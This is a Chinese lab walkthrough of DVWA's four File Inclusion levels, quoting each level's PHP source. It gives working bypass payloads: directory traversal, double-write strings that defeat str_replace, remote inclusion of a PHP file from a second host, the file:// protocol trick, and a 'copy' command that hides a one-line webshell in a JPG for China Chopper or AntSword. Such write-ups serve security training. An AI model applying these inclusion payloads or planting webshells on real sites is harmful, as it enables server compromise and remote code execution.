DVWA--File Inclusion(文件包含)--四个级别
索引目錄:
Low
Medium
High
Impossible
文件包含,主要由于php.ini配置不嚴格,allow_url_fopen=On是導致文件包含的元兇之一 和php函數(shù)運用的嚴謹程度
php文件包含常用函數(shù):
include: 包含并運行指定文件,當包含外部文件發(fā)生錯誤時,系統(tǒng)給出警告,但整個php文件繼續(xù)執(zhí)行
include_once: 這個函數(shù)跟和include語句類似,唯一區(qū)別是如果該文件中已經(jīng)被包含過,則不會再次包含
require: 跟include唯一不同的是,當產(chǎn)生錯誤時候,整個php文件停止運行
require_once: require_once語句和require 語句完全相同,唯一區(qū)別是PHP會檢查該文件是否已經(jīng)被包含過,如果是則不會再次包含
php.ini配置文件: allow_url_fopen=off 即不可以包含遠程文件。php4存在遠程包含&本地包含,php5及以上僅存在本地包含
使用上面幾個函數(shù)包含文件時,該文件將作為PHP代碼執(zhí)行,PHP內(nèi)核并不在意被包含的文件是什么類型的。也就是說我們用這幾個函數(shù)包含.jpg文件時,也會將其當做php文件來執(zhí)行
Low
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];?>從Low級別的代碼我們可以看出,服務端對上傳的的page參數(shù)沒有任何過濾
注:服務器包含文件時,不管文件后綴是否是php,都會嘗試當作php文件執(zhí)行,如果文件內(nèi)容確為php,則會正常執(zhí)行并返回結(jié)果;如果不是,則會原封不動地打印文件內(nèi)容,所以文件包含漏洞常常會導致任意文件讀取與任意命令執(zhí)行
漏洞利用:
1.本地包含:即包含本地文件
條件:開啟allow_url_include
-
首先我們嘗試包含本地一個不存在的文件
出現(xiàn)上圖所示報錯,從第一行警告我們可以看出它使用的是include函數(shù),也直接爆出了含有include函數(shù)文件的位置
從第二行我們可以看出沒有找到指定文件 -
我們再嘗試包含一個存在的,在已經(jīng)文件路徑的前提下
-
我們也可以嘗試使用../來進行目錄穿越(../表示返回上一層目錄)
已知test.php的絕對路徑在F:\xampp\htdocs\dvwa\vulnerabilities\filetest\test.php
我們當前在http://127.0.0.1:8008/dvwa/vulnerabilities/fi/下,由下圖文件具體位置可以看出,一個../就i返回到了有filetest目錄的目錄
注:配置文件中的Magic_quote_gpc選項為off。在php版本小于5.3.4的服務器中,當Magic_quote_gpc選項為off時,我們可以在文件名中使用%00進行截斷,也就是說文件名中%00后的內(nèi)容不會被識別,即下面兩個url是完全等效的
這種情況多用于必須要文件后綴是php,jpg,jpeg,png等,只是為了上傳時表示存在,真正解析時直接截斷
由于本次實驗時7.3.4版本,無法演示
2.遠程文件包含,這里我自己用虛擬機搭了另一個服務器
條件:php.ini配置中,allow_url_fopen與allow_url_include為開啟狀態(tài)時,服務器會允許包含遠程服務器上的文件
發(fā)現(xiàn)利用成功,如果此時這是一句話木馬,我們就可以用菜刀或者蟻劍進行連接,獲得webshell了
你還可以通過url編碼進行隱秘操作:
Medium
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file );?>Medium級別的代碼增加了str_replace函數(shù),對page參數(shù)進行了處理,將http:// 、https://、 ../、..\替換為空字符,即刪除
漏洞利用:
- 使用str_replace函數(shù)也不是絕對安全的,因為我們可以使用雙寫繞過替換規(guī)則
例如page=htthttp://p://192.168.13.130/hello.php時,str_replace函數(shù)只會刪除一個http://,于是page=http://192.168.13.130/hello.php,成功執(zhí)行遠程命令
同時,因為替換的只是../、..\,所以對采用絕對路徑(就是不使用…/)的方式包含文件是不會受到任何限制的
1.本地文件包含
但是我們?nèi)绻且谩?呢?那么我們就可以雙寫繞過
例如使用http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=..././filetest/test.php,這樣str_replace只刪除了一個../
但是http://127.0.0.1:8008/dvwa/vulnerabilities/fi/?page=../../filetest/test.php卻不能執(zhí)行,因為它直接檢測到了兩個../,所以利用雙寫繞過,不要單獨連起來,要嵌套起來
2.遠程文件包含
- 雙寫繞過法
- 把%68%74%74%70%3a%2f%2f192.168.13.130%2fhello.php嘗試url編碼進行包含
經(jīng)過編碼后的url不能繞過替換規(guī)則,因為解碼是在瀏覽器端完成的,發(fā)送過去的page參數(shù)依然是page=http://192.168.13.130/hello.php,因此讀取失敗
High
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>fnmatch(pattern,string,flags):根據(jù)指定的模式來匹配文件名或字符串
pattern 必需 規(guī)定要檢索的模式
string 必需 規(guī)定要檢查的字符串或文件
flags 可選
High級別的代碼使用了fnmatch函數(shù)檢查page參數(shù),要求page參數(shù)的開頭必須是file,服務器才會去包含相應的文件。看似安全,但是我們依然可以利用file協(xié)議繞過防護策略。file協(xié)議其實我們并不陌生,當我們用瀏覽器打開一個本地文件時,用的就是file協(xié)議,file://F:/xampp/htdocs/dvwa/vulnerabilities/filetest/test.php,如下圖:
如果是php文件,則不會解析而是顯示其php代碼,在html頁面或源代碼中
至于執(zhí)行任意命令,需要配合文件上傳漏洞利用。首先需要上傳一個內(nèi)容為php的php文件或jpg照片,然后再利用file協(xié)議去包含上傳文件(需要知道上傳文件的絕對路徑),從而實現(xiàn)任意命令執(zhí)行,謹記,php的file://協(xié)議只能打開本地文件
圖片插入一句話木馬(b為二進制,a為ascii碼)
copy xx.jpg/b +xx.php/a xxx.jpg,之后利用菜刀或蟻劍連接,連接時還需要先瀏覽網(wǎng)站,登陸賬號,完成Session認證
Impossible
源代碼: <?php// The page we wish to display $file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {// This isn't the page we want!echo "ERROR: File not found!";exit; }?>Impossible級別代碼使用了白名單機制進行防護,page參數(shù)必須為include.php、file1.php、file2.php、file3.php之一,因此徹底消除了文件包含漏洞的產(chǎn)生
總結(jié)
以上是生活随笔為你收集整理的DVWA--File Inclusion(文件包含)--四个级别的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何投资外汇赚钱,有两种方式
- 下一篇: 支付宝提现手续费多少